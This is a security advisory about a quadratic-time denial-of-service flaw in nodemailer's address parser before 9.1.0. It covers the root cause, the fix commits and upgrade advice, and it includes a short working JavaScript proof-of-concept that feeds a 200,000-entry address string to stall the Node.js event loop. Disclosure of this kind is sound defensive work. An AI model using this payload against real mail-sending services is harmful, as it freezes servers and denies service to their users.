high · 7.5Sep 8, 2026

nodemailer Quadratic ReDoS in addressparser (O(n²) address-list parsing)

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Nodemailer's address parser builds its result array with Array.concat() inside a loop, causing CPU time to grow as the square of the number of addresses, letting any caller freeze a Node.js server…

Packagenodemailer
Ecosystemnpm
Affected< 9.1.0
Fixed in9.1.0
nodemailer Quadratic ReDoS in addressparser (O(n²) address-list parsing)

The problem

In nodemailer before 9.1.0, lib/addressparser/index.js accumulates parsed addresses with parsedAddresses = parsedAddresses.concat(handled) on every loop iteration. Each call copies the entire accumulated array, so parsing n addresses does O(n²) total work.

Passing a crafted To, Cc, Bcc, From, or Reply-To value from user input triggers this on the normal send path. No authentication, special config, or network receiver is needed. A 1.5 MB address string (~200k comma-separated entries) blocks Node's single-threaded event loop for 25-30 seconds of 100% CPU, denying service to every concurrent request for the duration.

Proof of concept

A working proof-of-concept for this issue in nodemailer, with the exact payload below.

javascript
'use strict';
const addressparser = require('nodemailer/lib/addressparser');

// Measured on nodemailer 9.0.6:
// 25 000 addrs  (~0.19 MB) =>   ~381 ms
// 50 000 addrs  (~0.38 MB) =>  ~1435 ms
// 100 000 addrs (~0.76 MB) =>  ~7949 ms
// 200 000 addrs (~1.53 MB) => ~25154 ms  (doubles input => ~4x time = O(n²))
const n = 200_000;
const payload = 'a@b.com,'.repeat(n);   // flat, valid, comma-separated list
addressparser(payload);                  // blocks synchronously for ~25 s

// Same effect through the normal send API:
const nodemailer = require('nodemailer');
nodemailer
  .createTransport({ jsonTransport: true })
  .sendMail({
    from: 'a@b.com',
    to: 'a@b.com,'.repeat(150_000),   // ~15+ s of 100% CPU inside addressparser
    subject: 'x',
    text: 'y'
  });

The root cause is CWE-407 (Inefficient Algorithmic Complexity). The one-liner parsedAddresses = parsedAddresses.concat(handled) allocates a brand-new array on every iteration and copies every element accumulated so far, producing the classic 1+2+3+...+n = O(n²) pattern.

Tokenisation and _handleAddress are both linear; the quadratic blowup is entirely this accumulator.

Commit 9116da9 replaced the concat with an in-place push (or equivalent), making the accumulator O(n). Commit 7cc38af (refined in 34da642) fixed the same shape in MimeNode#_convertAddresses, where a linear-scan deduplication loop also produced O(n²) cost for distinct recipients.

Commit 83b8c48 fixed a separate [].concat.apply call that threw a RangeError: Maximum call stack size exceeded past ~124k recipients. The 9.1.0 release also added a maxRecipients option (default 100,000) as a hard backstop.

The fix

Upgrade nodemailer to **9.1.0** or later (npm install nodemailer@latest). The patch rewrites all three quadratic paths to linear algorithms. Parsing 200k addresses now takes ~80 ms instead of ~25 s. If you call require('nodemailer/lib/addressparser') directly, the same upgrade covers that export.

As an additional layer, set maxRecipients in your transport options to reject oversized recipient lists before parsing begins.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research